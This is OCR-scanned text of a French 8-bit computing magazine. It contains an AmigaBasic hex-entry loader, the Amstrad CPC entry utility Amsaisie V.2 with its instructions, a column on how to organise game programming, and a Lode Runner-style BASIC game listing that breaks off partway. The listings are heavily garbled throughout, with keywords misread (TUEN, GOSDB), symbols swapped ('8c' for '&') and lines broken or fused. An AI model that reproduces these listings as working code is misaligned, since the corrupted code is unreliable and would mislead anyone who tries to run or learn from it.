REM Important: la syntaxe des variables 
(nom,longueur,■ 

REM majuscules ou min.) doit être absolu 
ment respectée- 

REM car celles-ci appellent en fait des 
routines en» 

REM langage machine (Librairies) se trou 
vant en ROM.» 

DECLARE FUNCTION AllocMem& LIBRARY» 
DECLARE FUNCTION FreeMem& LIBRARY» 
DECLARE FUNCTION xOpen& LIBRARY- 
DECLARE FUNCTION xWrite& LIBRARY- 
DECLARE FUNCTION xClose& LIBRARY» 

CHDIR "df0 :":LIBRARY "exec.library":LIBR 


ARY "do s.1ibrary"■ 

SCREEN 1,640,240,2,2:WINDOW 1,"AmigaSais 
ie v l.b (c) Stéphane Rodriguez",,0,1» 
PALETTE 0,0,0,0:PALETTE 1,1,1,1 : PALETTE 
2, .5, .5, .5 :COLOR 1,0:WINDOW OUTPUT 1 : DIM 
saving$(36)» 

RequestLength:■ 

PRINT :INPUT "Longueur du fichier a crée 
r (en décimal et en octets) :",L:PRINT • 
IF L<=0 THEN RequestLength ELSE Length&= 

L- 

Address&=AllocMem&(Length&,65538&)■ 

IF Address&=0 THEN PRINT "Espace non ail 
ouable,rebootez votre disk.":PRINT "En n 
e chargeant cette fois-ci rien d’autre q 
ue l'AmigaBasic et AmigaSaisie": END» 
inputline=l: FOR ad=Address& TO Address&+ 
Length& STEP 16» 

FirstEntry: » 

count=l:o$=STR$(inputline):o$=RIGHT$(o$, 
LEN(o$)-1):o$=STRING$(5-LEN(o$),48)+o$+" 

:":PRINT o$;» 




KeyWaiter:* 

key$="";WHILE key$="":COLOR 2,0:PRINT CH 
R$(140);CHR$(8); :key$=INKEY$:WEND:key$=U 
CASE$(key$)■ 

IF key$=CHR$(31) OR key$=CHR$(8) THEN ke 
y$=CHR$(127)■ 

IF key$=CHR$(28) OR key$=CHR$(29) THEN K 
eyWaiter* 

IF key$=CHR$(30) THEN IF saving$(count)< 
>"" THEN key$=saving$(count) ELSE key$=” 
0". 

IF key$<>CHR$(127) THEN NextTable ELSE I 
F count=l THEN KeyWaiter ELSE count=coun 
t-1 :PRINT CHR$( 8 ) ; " ";CHR$(8); : IF count/ 
4=INT(count/4) THEN PRINT CHR$(8);" ";CH 
R$(8);■ 

GOTO KeyWaiter* 

NextTable:■ 

IF key$<"0" OR key$>"F" THEN PRINT CHR$( 
7); : GOTO KeyWaiter* 

IF key$<"A" AND key$>"9" THEN PRINT CHR$ 
(7);:GOTO KeyWaiter. 

COLOR 1,0:PRINT key$;:IF count=32 THEN 
PRINT ELSE IF count/4=INT(count/4) 
THEN PRINT " " ; * 

saving$ ( count ) =keyS> : count=count+1 : IF cou 
nt<37 THEN KeyWaiter* 

ste=0:FOR x=l TO 31 STEP 2 :value=VAL("&H 
"+saving$(x)+saving$(x+D)■ 
a=ad+ste:IF a<(Address&+Length&) THEN PO 
KE a.value* 
ste=ste+l:NEXT * 

che=0:FOR x=l TO 29 STEP 4 :che=che+VAL(" 
&H"+saving$(x)+saving$(x+l)+saving$(x+2) 
+saving$(x+3))• 

NEXT : checksum=clie AND 65535&* 
cliecksum2 = VAL ( " &H "+s aving$ ( 3 3 )+s aving$ ( 3 
4)+saving$(35)+saving$(36))■ 

IF checksum2<0 THEN checksum2=cliecksuEQ2+ 
65536&. 

IF checksumocliecksuni2 THEN ErrorRequest 

inputline=inputline+l:PRINT :NEXT ad* 
PRINT :PRINT "La saisie est enfin termin 
ée...Insérez la disquette qui contiendra 
le fichier"* 

GOSUB WaitForAKey:PRINT :INPDT "Entrez 1 
e nom du fichier ainsi créé :",n$« 
filename$="df0:"+n$+CHR$(0)* 
Handle8c=xOpen8c(SADD(filename$), 1006)* 
f ilewrite8c=xWrite8c( Handle8c, Address8c, Leng 
th8c) * 

filedose8c=xClose8c(Handle8c) * 
f8c=FreeMem8c( Address8c, Length8c) : LIBRARY CL 
OSE* 

PRINT :PRINT "Programme sauvegardé et ex 
écutable directement sous CLI, au revoir 
I "* 

END* 

ErrorRequest: * 

PRINT CHR$(7);" Erreur l":GOTO FirstEntr 

Y* 

WaitForAKey:* 

IF INKEY$="" THEN WaitForAKey ELSE RETUR 

N* 


CPC 


AMSAISIE V.2 


C'EST PROPRE, 
C'EST NET 

D'une structure identique à la précédente 
version (Micro-Mag n°l), Amsaisie V.2 
bénéficie de quelques améliorations qui 
fiabilisent cette fois totalement la saisie 
hexadécimale tout en simplifiant les 
manœuvres de corrections. 


S oit les divers perfection¬ 
nements: 

- vérification et prise en 
compte par la somme de 
contrôle de l'ordre des Data 
dans chaque ligne saisie, 

- déplacement du curseur 
autorisé dans la ligne sans des¬ 
truction des données. Il est 
désormais possible de revenir 
par la touche fléchée gauche 
sur une valeur à corriger, puis 
de réafficher la ligne de codes 
par la touche fléchée droite. A 
signaler que cette dernière per¬ 
met de dupliquer rapidement 
une ligne de zéro, 

- Réaffichage automatique 


d'une ligne erronée, afin de 
permettre sa correction de la 
façon ci-dessus évoquée. 

N.B. Possesseurs d 'Amsaisie, 
examinez attentivement ce 
nouveau listing afin d'effectuer 
sur votre ancienne version les 
modifications nécessaires. 
Rappelons à l'attention de ceux 
qui l'ignorent, qu'Amsaisie V. 2 
permet la saisie aisée de codes 
hexadécimaux présents dans 
nos colonnes sous la forme: 
adresse, suite de huit codes, 
somme de contrôle. Sachez 
que pour un même program¬ 
me, lesdites sommes diffèrent 
selon la version d 'Amsaisie uti¬ 
lisée. 


Mode d'emploi 

Après lancement, spécifiez en 
hexadécimal (sans le préfixe 
&) l'adresse de début d'im¬ 
plantation du langage machi¬ 
ne. Celle- ci s'affiche suivie de 
et d'un curseur clignotant. 
Entrez la série de huit codes 
sans vous préoccuper des 
espaces et sans valider par 
Return (validation automa¬ 
tique). En fin de ligne et à l'af¬ 
fichage de entrez la somme 
de contrôle correspondant à la 
ligne saisie. En l'absence d'er¬ 
reur, l'adresse suivante s'af¬ 
fiche, etc. Dans le cas contraire, 
un signal sonore et un message 
vous signale une bévue. 
Effectuez alors la correction 
dans la ligne automatiquement 
réaffichée. En cours de saisie, 
la touche Del est opérationnel¬ 
le. L'appui sur S réalise la sau¬ 
vegarde du langage machine 
après spécification du nom du 
fichier. 

Toutefois, deux solutions s'of¬ 
frent à vous: 

- vous êtes fou et venez de sai¬ 
sir en une seule fois la totalité 
des codes hexadécimaux (très 
nombreux dans la plupart des 
cas). Rien de plus simple: 
après l'entrée de la dernière 
somme de contrôle et l'afficha¬ 
ge de l'adresse suivante, 
appuyez sur S, précisez le nom 
du fichier et validez par 
Return ou Enter. 

- vous êtes raisonnable et dési¬ 
rez morceler votre saisie. Au 
moment de stopper momenta¬ 
nément votre frappe pour la 
poursuivre ultérieurement, 
appuyez sur S après l'affichage 


de l'adresse suivante et attri¬ 
buez un numéro d'ordre à 
votre nom de fichier (exemple, 
PAC1). A la fin de la sauvegar¬ 
de, l'adresse suivante déjà citée 
se réaffiche; notez-la. Elle sera 
l'adresse de début qu'il 
conviendra de spécifier lors de 
la reprise de votre travail 
(PAC2). Créez de la sorte une 
suite de fichiers binaires 
(PAC1, PAC2, PAC3, etc.). 
Finalement, chargez à la suite 
tous ces fichiers après un 
MEMORY inférieur à l'adresse 
d'implantation (adresse -1) et 
effectuez une sauvegarde tota¬ 
le et définitive par la comman¬ 
de de type 

Save "nom de fichier", b, adres¬ 
se de début, longueur. 

Le nom du fichier et la valeur 
des paramètres sont toujours 
précisés dans le mode d'em¬ 
ploi des programmes publiés. 

Exemple 

Prenons l'exemple d'un pro¬ 
gramme appelé Pacman, 
d'adresse de début &A000 et 
morcelé en trois fichiers: PAC1, 
PAC2 et PAC3. Pour les réunir 
en un seul d'après la longueur 
totale &BFF indiquée dans le 
mode d'emploi, il faudra lan¬ 
cer le court programme sui¬ 
vant: 

10 MEMORY &A000-1 
20 LO AD "ÎPAC1.BIN" 

30 LO AD "1PAC2.BIN" 

40 LO AD "1PAC3.BIN" 

50 PRINT "Placez le support 
de sauvegarde et appuyez sur 
une touche": CALL &BB06 
60- SAVE "ÎPACMAN", b, 
&A000, &BFF 

Sined 


10 ' AMSAISIE V.2 par Denis JARRIL [1613] 

20 MEMORY &2000:DIM 0$(1B):M0DE 1: [17221] 
BORDER 0:INK 0,0:INK 1.13:CLS:PRIN 
T:PRINT" I pour changer l'adresse 
courante":PRINT" S pour sauver les 
données”:PRINT" Tapez les caracte 
res sans espace ni return (tou 

30 PRINT" Les floches servent a 1' [4494] 

40 PRINT:INPUT" ADRESSE DE DEPART [4092] 

: " . AS :D$=A$ : IF A$="" TUEN 40 
50 A=VAL("&"+AS) [1273] 

60 1=0:A$=HEX$(A.4):PRINT:PRINT A$ [3200] 
:C=VALC"&"+LEFT$CA$,2)>+VAL(" 
&"+RIGHT$(A$.2)) 

70 T$="”:WUILE T$="":CALL &BB8A:T$ [3454] 

= INKEY$:CALL &BB8D : WEND : TS=UPPERS ( 


T$) 

80 IF T$=CHR$(242) TUEN T$=CHR$(12 [2397] 
7) 

90 IF T$=CIIR$(243> TUEN T$=0$(I) [2003] 

100 IF TS="I" TUEN CLS:RUN [1132] 

110 IF T$o"S" TUEN 140 ELSE D=VAL [3244] 

("&"+D$); IF D>0 AND A<0 TUEN A=A+6 

120 PRINT:PRINT:INPUT" NOM : ",N$ [3394] 
: IF N$<>'"' THEN SAVE N$,B.D.A-D+1 
130 GOTO 60 [390] 

140 IF T$oCHR$(127) THEN 160 ELSE [6246] 
IF 1=0 TUEN 70 ELSE 1=1-1 :PRINT C 
HRSC8) ; " " :CI1RS(8 ) : : IF I/2oI\2 TH 
EN PRINT CHR$(8);" ";CHR$(8); 

150 GOTO 70 [396] 

160 IF TS<"0" OR T$>"F” TUEN SOUND [2699] 

7,150,20:GOTO 70 


170 IF T$<"A" AND TS>”9“ THEN SOUN [2630] 
D 7,150.20:GOTO 70 

180 PRINT T$; : IF 1=15 TUEN PRINT": [3124] 
ELSE IF I/2<>1\2 THEN PRINT" ": 

190 0$(I)=TS [592] 

200 1=1+1:IF I<18 THEN 70 [1266] 

210 FOR 1=0 TO 15 STEP 2:X=VAL("&" [4897] 
+OS(I)+0$(I+1)):POKE A.X:A=A+1:C=C 
+X*((I\2) + 1) :NEXÏ :C=C AND &FF 
220 IF C=VAL("&"+0$(I)+0$(I + 1>) TII [2440] 
EN 60 

230 SOUND 7,50.10:SOUND 7.500.10:A [9075] 
=A-8:PRINT"ERREURI":PRINT UEX$(A,4 
:FOR 1=0 TO 15:PRINT OS(I): : 

IF I/2oI\2 AND I<>15 THEN PRINT" 

240 NEXT:PRINT":": :PRINT OSCI): : 1= [4903] 
1+1 :C=VAL( "&"+LEFT$(A$, 2) )+VAL( 

+RIGHT$(A$,2)):GOTO 70 
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CPO 


PROGRAMMATION 

INITIATION 


Le nouveau discours de la méthode 

LES COURS DU PROFESSEUR ALI GATOR 


Créer un logiciel réclame bien sûr 
quelques connaissances, mais aussi de 
Vordre, de la méthode et un brin 
d’imagination. 


D epuis plus d'un an que je 
m'efforce d’inculquer à 
tous lesdites connais¬ 
sances, quiconque doit être en 
mesure d'écrire un Pac Man 
sans problème, sinon, vous 
m'en verriez contrit. Pour ce qui 
est de l'ordre; commencez par 
ôter de votre table tout ce qui 
est étranger à l'informatique: 
jambon-beurre de la veille, 
anciens Lui, Playboy et la photo 
de Gorbatchev. Reste enfin la 
méthode, thème de notre ren¬ 
dez-vous d'aujourd'hui. 

Bien sûr, il existe plusieurs 
méthodes, mais je vais me 
contenter d'aborder celle que 
m'est la plus connue: la mienne. 
Certes imparfaite, elle m'a 
néanmoins permis d'écrire plus 
de cinquante logiciels. Adaptez- 
la à votre guise. 

Le dossier 

Avant de commencer un nou¬ 
veau logiciel, la première chose 
à faire est de constituer un dos¬ 
sier de travail. En fait, une 
simple chemise cartonnée où 
sont rassemblés tous les élé¬ 
ments nécessaires à la création. 
Le plus important consiste en 
une demi-douzaine de feuilles 
vierges arrachées à un gros 
bloc-note de format A4. Les 
petits carrés de 5 mm qui divi¬ 
sent chaque feuille permettent 
en effet une représentation par¬ 
faite des écrans et des caractères 
redéfinis. 

En plus de ces quelques 
feuilles, ce fameux dossier com¬ 
prend les pages des caractères 
Ascii du manuel, mises pour 


ma part sous intercalaires trans¬ 
parents. De la même façon figu¬ 
re ma banque de sons, où tous 
les bruitages de mes travaux 
ont été réunis avec, en bonne 
place, les pages que feu Am- 
Mag avait publiées sur ce sujet. 
Ainsi, lorsque je recherche par 
exemple un «coup de feu», de 
longues recherches fastidieuses 
me sont épargnées. Je n'ai que 
l'embarras du choix. 

Quelques feuillets sur 
l'Assembleur sont également 
très utiles. Le nom de toutes les 
routines déjà écrites, leur des¬ 
criptif ainsi que le logiciel où il 
est possible de les récupérer. 
Enfin, une carte de toutes les 
adresses de la Ram vidéo et la 
liste des appels de routines sys¬ 
tème viennent compléter ce 
savant dispositif. 

L'idée 

Qui l'eut crut? Il est nécessaire 
d'avoir une vague idée de ce 
que l'on veut faire avant de 
commencer. A la question 
«Mais où Ali Gator trouve-t-il les 
idées de ses jeux?», je réponds 
sans ambages: dans les logiciels 
commerciaux. Point de honte à 
cela car même les profession¬ 
nels pratiquent de la sorte. 

Ceux d'entre vous qui suivent 
avec attention mes modestes 


oeuvres, n'ont pas été sans 
•remarquer une similitude rela¬ 
tive entre certains de mes pro¬ 
grammes et ceux faisant la Une 
de l'actualité. Pas vraiment du 
pompage, car si le thème d'un 
jeu existant est bien repris, je 
m'attache à lui apporter, dans 
le cadre de mes limites, le petit 
«plus» qui manque la différen¬ 
ce. Prenons deux exemples. Est 
paru dans Micro-Mag n°6 le jeu 
Sureek End 3D. Le thème où le 
joueur doit peindre son aire de 
jeu en une seule couleur pour 
passer au tableau suivant est 
directement inspiré de Skweek. 
Le petit plus par rapport au jeu 
initial est la représentation en 
trois dimensions. 

Sur le même principe, j'ai com¬ 
mis un jeu appelé Perestroïka, 
version simplifiée du fameux 
Tetris où je me suis appliqué à 
enrichir le choix des pièces. 14 
contre les 6 ou 7 de la version 
originale. Depuis, une modifi¬ 
cation de mon cru porte à 28 le 
nombre de pièces disponibles. 
En règle générale, je suis à l'af¬ 
fût de tout ce qui se fait dans le 
domaine ludique, pas unique¬ 
ment sur CPC ni exclusivement 
sur ordinateur. Lorsque j'entre¬ 
vois l'adaptation possible d'un 
logiciel, je me garde de l'ache¬ 
ter. En me contentant des cri¬ 
tiques, descriptifs et images 


écran glanées dans les revues 
spécialisées, je laisse libre cours 
à mon imagination qui m'en¬ 
traîne parfois bien loin de l'idée 
initiale. 

Le scénario 

L'idée du jeu trouvée, passons 
au scénario. Un bien grand 
mot pour ce qui est en fait un 
descriptif sommaire du jeu où 
quelques lignes suffisent. 
Scoop! Voici celui de mon pro¬ 
chain jeu. L'idée m’est venue 
en feuilletant une revue dédiée 
à une machine dont je tairais le 
nom. Un petit canard pousse 
un œuf devant lui afin de le 
ramener intact dans son nid 
situé en bas de l'écran. L'œuf 
ne s'arrête que lorsqu'il ren¬ 
contre un des obstacles qui 
sont de deux sortes: des bottes 
de foin, dans ce cas pas de 
bobo et des pierres. Alors là- 
bonjour l'omelette. Bien évi¬ 
demment quelques monstres 
perturbent notre héros. Voilà le 
scénario écrit en toutes lettres 
dans mon dossier. Le mode, la 
taille de l'écran, des person¬ 
nages, le nombre de poursui¬ 
vants, seront définis ultérieu¬ 
rement. Ils risquent de changer 
cent fois avant le point final... 

L'organigramme 

Ne vous fiez pas au titre de ce 
paragraphe qui n'est là que 
pour faire sérieux. En fait d'or¬ 
ganigramme, eh bien... je n'en 
fais point. Ce n'est pas faute 
d'avoir essayé, surtout à mes 
débuts (Oh oui! grand-père. 
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parle-nous de ta guerre ). Les 
livres sérieux sur la program¬ 
mation consacrent invariable¬ 
ment un chapitre aux organi¬ 
grammes. 

On y apprend l’art et la maniè¬ 
re de structurer un programme 
à l'aide de petits rectangles, 
carrés, ronds et flèches du plus 
bel effet. Mais sans vouloir 
vous en détourner, car ils peu¬ 
vent très bien vous convenir 
(les miens étaient trop proches 
de l'art abstrait), je leur préfère 
un petit système maison appelé 
«fichier de Rem». 

Le fichier de Rem 

Prenez une compilation de lis¬ 
tings (un hors-série Micro-Mag, 
bien sûr), un seul coup d'œil 
sur les Rem suffit à reconnaître 
ceux de votre serviteur. Tous les 
sous-programmes sont déclarés 
dans un cadre formé de «:» sur 


Certains jeux font partie 
intégrante de l’histoire 
de l'informatique, peut- 
être parce chacun d'eux 
représente une étape 
dans l’évolution du 
système. Au rang de ces 
dinosaures, le casse- 
briques, PacMatt, Space 
Invader et Lode Rutiner. 
Néanmoins, ces clas¬ 
siques se portent bien. 
Preuve s'il en est, toutes 
les adaptations qui 
voient encore le jour. 

A mon tour de vous présenter 
une version personnelle du 
fameux Lode Runner, avec toute¬ 
fois une petite différence. Au 
lieu de creuser des trous pour 
faire disparaître ses ennemis, 
notre héros dispose d'un fusil 
redoutable. 


cinq lignes et leur nom se 
retrouve d'un programme sur 
l'autre. Pourtant, je jure n'avoir 
jamais écrit deux fois le même 
jeu. Enfin, avouons qu'il y avait 
des variantes... L'explication? 
J’ai conçu jadis un programme 
ne contenant que des Rem, 
ceux rencontrés justement au fil 
de tous mes jeux. 

Je débute donc tout nouveau 
logiciel par le chargement de ce 
fameux fichier de REM formant 
la charpente de mon travail. Les 
sous-programmes situés tou¬ 
jours aux mêmes endroits me 
sont devenus familiers: 
«variables de base» commence 
toujours en ligne 500, «routine 
principale» en ligne 2000, etc. 
Cette méthode de travail 
simple et rapide mérite d'être 
développée et commentée en 
détail. Nous le ferons prochai¬ 
nement. 


Redéfinition 

Ce jeu nécessite de nombreux 
caractères redéfinis pour dessi¬ 
ner les passerelles, échelles, 
monstres, etc. Conservant pré¬ 
cieusement le dessin de ceux 
déjà utilisés, ne soyez pas sur¬ 
pris si certains ne vous sont pas 
inconnus. A eux seuls, les 
caractères redéfinis méritent un 
cours (prochainement?). Ne 
serait-ce que pour expliquer 
une fois de plus l'improper 
argument que d'aucuns rencon¬ 
trent sur la ligne Symbol After. 

• Variables de base 
Ligne 340 : Defint A-Z afin 
d’augmenter la vitesse des cal¬ 
culs puisque nous n'utiliserons 
que des variables entières. 
Ligne 370 : fonction testant la 
couleur à une position X, Y. 
Même principe que pour le jeu 
Hélico Drop ( Micro-Mag n°7). 
Ligne 370 : variables pour acti¬ 
ver et désactiver le mode trans¬ 


parent ainsi que pour opérer 
l'effacement d'un caractère 
(ef$). 

• Branchement des tableaux 
Trois tableaux sont proposés 
sur les huit prévus. Plus loin 
est expliqué comment créer les 
data complémentaires. 

• Création du décor 

Lignes 610 - 630 : création du 
tableau des scores. 

Lignes 640 - 690 : création des 
passerelles, échelles et clés en 
fonction des data en fin de lis¬ 
ting. La méthode par segmen¬ 
tation utilisée a fait l'objet d'ex¬ 
plications dans le cours sur les 
data. 

Lignes 700 - 720 : positionne¬ 
ment des monstres et du 
joueur. Tous les éléments du 
décor ont un numéro spéci¬ 
fique, lequel est recopié dans 
un tableau DIM EC de la taille 
de l'écran. Les tests de collision 
s'effectueront dans ce tableau. 

• Routine principale 

Lignes 780 - 840 : déplacement 
des monstres et interrogation 
du joystick. 

Lignes 850 - 810 : déplacement 
vers le haut du joueur et test de 
sa position sur une échelle. Si 
Y=3, c'est gagné et on passe au 
tableau suivant. Pour les dépla¬ 
cements à gauche ou à droite, il 
faut vérifier que l'on ne sort 
pas du cadre. A noter que le 
mode transparent rajoute deux 
caractères à l'affichage du 
joueur. Un locate 40, 5 n'est 
donc pas possible, ce qui 
explique les limites du cadre de 
jeu entre les colonnes 2 à 38. 

Feu 

Serré d'un peu trop près par 
ses poursuivants, le joueur 
peut utiliser son arme pour les 
faire disparaître. Attention! les 
munitions sont en nombre 
réduit. 

Ligne 1090 : comptage des 
munitions et retour si cartou¬ 
chière vide. 

Lignes 1110 -1160 : départ de 
la balle à droite en fonction du 
sens du joueur. Dans XF, la 



position X de la balle. 
Vérification si position X=40 
non atteinte. Les monstres sont 
de la couleur 1. Avec la fonc¬ 
tion définie en début de pro¬ 
gramme, on teste la position de 
la balle pour savoir si un 
monstre n'est pas touché. Si 
c'est le cas un sous-programme 
(lignes 1150-1160) calcule de 
quel monstre il s'agit, le fait 
disparaître et lui attribue de 
nouvelles coordonnées en haut 
de l'écran. Ce monstre ne réap¬ 
paraîtra que lors du ramassage 
de la prochaine clé. 

• Chute, comptage des clés, 
perdu 

Lignes 1240 - 1270 : chute du 
joueur. Test de la position 
située sous le joueur. A zéro 
(case vide), Y est incrémenté et 
bouclage pour un nouveau 
test. 

Lignes 1310 - 1350 : comptage 
des clés. Incrémentation du 
score. Si toutes les clés sont 
ramassées, affichage d’une por¬ 
tion d'échelle permettant de 
monter jusqu'à la position Y=3. 
Nous savons que si Y=3, c'est 
gagné. Lors de la création de 
vos propres tableaux, faites en 
sorte qu'aucun élément du 
décor, à part les scores, ne soit 
dessiné entre les lignes 1 et 4. 
Lignes 1410 - 1360 : perdu. 
Touché par un monstre vous 
perdez une vie. Vous n'en avez 
plus? Le jeu recommence au 
premier tableau. 

Les monstres 

Soit quatre monstres possibles 
par tableau qui ne sont pas 
tous déplacés à chaque interro¬ 
gation du joystick afin de 
gagner de la vitesse. Un tirage 
aléatoire sélectionne celui qui 
bougera. Les déplacements se 
déterminent en fonction de la 
position X, Y du joueur. Pas 
tout à fait, en réalité. Le périple 
des monstres est une chose 
assez complexe et très impor¬ 
tante car elle détermine sou¬ 
vent l'intérêt du jeu. Il existe 
plusieurs variantes, elles méri- 
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tent que l'on s'y attarde ulté¬ 
rieurement. 


Création de tableaux 
supplémentaires 


Conçu pour huit, ce jeu n'en 
comporte que trois. Votre tra¬ 
vail va consister à créer ceux 
qui manquent. Il y a six lignes 
de data par tableau. 

- La première ligne contient 
quatre données. Dans l'ordre: 
le nombre de passerelles, 
d'échelles, de clés et enfin de 
monstres. 

- Deuxième ligne: suivant le 
nombre de passerelles, trois 
données A, B et C pour le des¬ 
sin de chacune. A correspond à 
la position en abscisse la plus à 
gauche de la passerelle, B la 
plus à droite et enfin C précise 
la ligne d'affichage. Deux 


impératifs: aucune passerelle 
au dessus de la ligne 5 et tou¬ 
jours finir par une passerelle 
socle de données 2,38,24. 

- Troisième ligne. Suivant le 
même principe, dessin des 
échelles. A, position la plus 
haute de l'échelle. B, position la 
plus basse et C, colonne d'im¬ 
plantation. 

- Quatrième ligne, les clés. 
Suivant leur nombre, deux 
données correspondant à la 
position X, Y de chacune. 

- Ligne 5, même principe mais 
pour les monstres. 

- Ligne 6. Trois données per¬ 
mettant de dessiner le tronçon 
d'échelle qui apparaît lorsque 
toutes les clés sont ramassées. 
C'est souvent le prolongement 
d'une échelle déjà existante 
pour atteindre la ligne 4. 

Bonnes grimpettes- 

Claude Le 


REM 
20 REM 
30 REM 


100 REM 
11C REM 
120 REM 


MICRO MAG et 
ALI GATOR 

présentant 
OJLSSIC RDNHER 


REDEFINITIONS 


ri66ii 
[419] 
[696] 
[1426] 
[419] 
[1423] 
[419] 
[1791] 
[419] 
[1661] 
[419] 
[1904] 
[419] 


140 REM :::::::::::::::::::::: [1661] 

150 SYMBOL AFTER 239 [1457] 

160 SYMBOL 240.6,6,60.12,18,16.10 [2146] 
4,6:bl$=CHR$(240) 

170 SYMBOL 241.96,96,28,48.72,8,2 [2897] 
2,16:b2$=CBR*C241) 

180 SYMBOL 242.153,90,60,24,24,36 [2471] 
,36,36:b3*=CHR$C242) 

190 SYMBOL 243,247,7,112,118,6,11 [3564] 
0,224,247:mr*=CHRS(243) 

200 SYMBOL 244.255,129,129,129,25 [2122] 
5,129,129,129:he$=CHR£(244) 

210 SYMBOL 245,60,36,60,8,8,24,8, [2552] 


56:by$=CBR$(245) 

220 SYMBOL 246,28,54,63,93,20,36, [2831] 
68,2 :ml$=CSR$(246) 

230 SYMBOL 247,24,60,36,60,24,126 [2853] 
,89,157:m2$=CHR£(247) 

240 SYMBOL 248,36,60,165,126,60,3 [3792] 
6,36,102:m3$=CHRS (248) 

250 SYMBOL 249,66,60,90,126,255,1 [3144] 
89,36,231:m4$=CHRS(249) 

260 SYMBOL 250,0,0,0,63,104,0,0,0 [2691] 
:fu$=CHR$C250) 

270 SYMBOL 251.0,0,60.0.0,0.0,0:b [2586] 
aS=CHR$(251) 
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280 SYMBOL 252,0,0,0.252,22,0,0,0 [2322] 
:ful$=CHR$C252> 

290 REH s i : : : : : [1661] 

300 REM : : [419] 

310 REM : VARIABLES DE BASE [2081] 

320 REM : : [419] 

330 REM :::::::::::::::::::::: [1681] 

340 DEVINT a-z [553] 

350 MODE 1:BORDER 0:INE 0,0:INX 1 [2272] 
,26:INE 2,24:INE 3,6 

360 VIE=4:TR=4:SC=0:TA=1:BS=B1S:D [2795] 
IM ECC40,25) 

370 DEP FN POCX,Y)=TESTCCX-l)*16+ [1116] 
8,C26-Y)*16-8) 

380 TR$=CHRS(22)+CHRS(1):NRS=CHR$ [2576] 
C22)+CHR$(0):ef$=nr$+” ” 

390 ENV 1,10,-1,2:ENT 1,10,-2,2:E [3501] 
NV 2,5,2,2 :ENT 2,2,-5,2,3,-2,2,2, 

-10.2 

400 ENV 3,5,3,1,1,0,18,6,-3,4:ENT [3996] 
3.5,1,1,10,-1,1,10,1,1,10,-1,1,1 
5,1,1 

410 ENV 5,10,-1,8,S,-1,4:ENT -5,8 [2659] 
0.1,1,20,2,1 

420 REM [1661] 

430 REM : : [419] 

440 REM : BRANCHEMENT TAB [1219] 

450 REM : : [419] 

460 REM :::::::::::::::::::::: [1661] 

470 ON TA GOTO 480,490.500,510,52 [2540] 

0.530,540,550 

480 RESTORE 1780:0QSÜB 610:GOTO 7 [727] 

490 RESTORE 1840:0OSOB 610:0010 7 [2732] 
80 

500 RESTORE 1910:GOSDB 610:QDTO 7 [2479] 
80 

510 RESTORE 3000:GOSDB 610:GOTO 7 [1742] 
80 

520 RESTORE 4000:GDSÜB 610:GOTO 7 [1807] 

530 RESTORE 5000:OOSDB 610:0010 7 [2015] 
80 

540 RESTORE 6000:OOSÜB 610:OOTO 7 [1633] 

550 RESTORE 7000:GOSÜB 610:0010 7 [2205] 
80 

560 REM [1661] 

570 REM : : [419] 

580 REM : CREATION DD DECOR [2358] 

590 REM : : [419] 

600 REM :::::::::::::::::::::: [1661] 

610 CLS:PLOT 1.355.1:DRAW 639,355 [3664] 
:DRAW 639,395:DRAW 1.395:DRAW 1,3 
55 

620 PEN 2:LOCATE 2,2:PRINT nr$;"V [3687] 
IE SCORE TAB FDSIL 

S“ 

630 PEN 3 :FOR H=1 TO VIE:LOCATE 5 [5889] 
+H,2 :PRINT BIS:NEXT:LOCATE 17,2:P 
RINT SC:LOCATE 26,2:PRINT TA:LCCA 
TE 37,2:PRINT TR 

640 ERASE EC:DIM'ECC40,25):READ P [2447] 
AS , HEC, CLE. MON 

650 FEN 2 :FOR H=1 TO PAS:READ A,B [2943] 
,C:POR G=A TO B 

660 LOCATE G.C:PRINT MR$;EC(G,C>= [2783] 
3:NEXT G,H 

670 PEN 1 :FOR H=1 TO HEC:READ A,B [2301] 
,C:FOR G=A TO B 

680 LOCATE C,G:PRINT HE$:EC(C,G) = [2390] 
2:NEXT G,H 

690 PEN 3 : FOR H=1 TO CLE:READ A.B [5102] 

:LOCATE A,B:PRINT ET*:ECCA,B)=B:N 
EXT 

700 FOR B=1 TO MON:READ A,B:LOCAT [3592] 
E A,B :PRINT CBRSC245+H):ssCh)=l 
710 mxCh)=a:myCh)=b:MSCH)=l :NEXT [2549] 
720 PEN 1 :LOCATE 20,23:PRINT tRS: [2477] 
B$:X=20:Y=23:X1=X:Ï1=T 
730 REM :::::::::::::::::::::: [1661] 

740 REM : : [419] 

750 REM : ROBTINE PRINCIPALE : [2225] 

760 REM : [419] 

770 REM :::::::::::::::::::::: [1661] 

780 ODSUB 1520 [907] 

790 IF JOYC0X1 THEN BS=B3S:G0T0 [1279] 

850 

800 IF JOY(0)=2 THEN B*=B3$:G0T0 [1512] 

920 

810 IF JOY(0)=4 AND X>2 AND ecCx- [3333] 

1,y)<>3 THEN B$=B2$:x=x-1 :GOTO 97 
0 

820 IF JOY(0)=8 AND X<38 AND ac(x [3147] 
+l,y)<>3 THEN B*=BlS:*=x+l:GOTO 9 
70 

830 IF JOTC0>=16 AND eeCx,y)=0 TH [1753] 
EN 1090 

840 GOTO 780 [409] 

850 IF ec[xl,yl)=2 THEN LOCATE xl [2611] 

,yl:PEN 1:PRINT nrSiheS ELSE 780 


860 Y=Y-1: IF y=3 THEN 880 [1913] 

870 LOCATE x,y:PEN 1:PRINT Tr$;BÎ [1604] 
:X1=X:Y1=Y :GOTO 780 

880 RESTORE 900 :FOR h=l TO 7 : READ [2472] 
p.d:SOOND 1,p,d,15,1:NEXT 
890 FOR t=l TO 2500:NEXT [924] 

900 DATA 638,25,638,25,638,25,568 [2068] 
,25.638,50,638,50,47B,100 
910 «c=sc+100:ta=ta+l:tr=5-ta: IF [4301] 
tr<l THEN tr=l:GOTO 470 ELSE 470 
920 IF ecCx,Y+l)<>2 THEN 780 [970] 

930 Y=Y+1: IF FN P0(X.I)=1 THEN 97 [1347] 


940 IF i 
,yl:PEN 
TE xl.yl: 

950 LOCAT 
:X1=X:Y1=Y 
960 IF ECCI,Y+1)=0 THEN 1240 ELSE 
780 

970 IF FN PO(X,Y)=l THEN LOCATE x 
,y:PRINT efS:GOTO 1410 
980 LOCATE XI,Yl:PRINT ef$:PEN 1: 
LOCATE X,Y:PRINT tr$:B$ 

990 IF ECCXl,Y1)=2 THEN PEN 1:L0C 
AIE XI,Yl:PRINT HE$ 

1000 IF ECCXl.Yl)=8 THEN GOTO 131 
0 

1010 IF ECCX,Y+1)=0 THEN X1=X:Y1= 
Y: GOTO 1240 

1020 IF ECCX,Y)>10 THEN 1410 


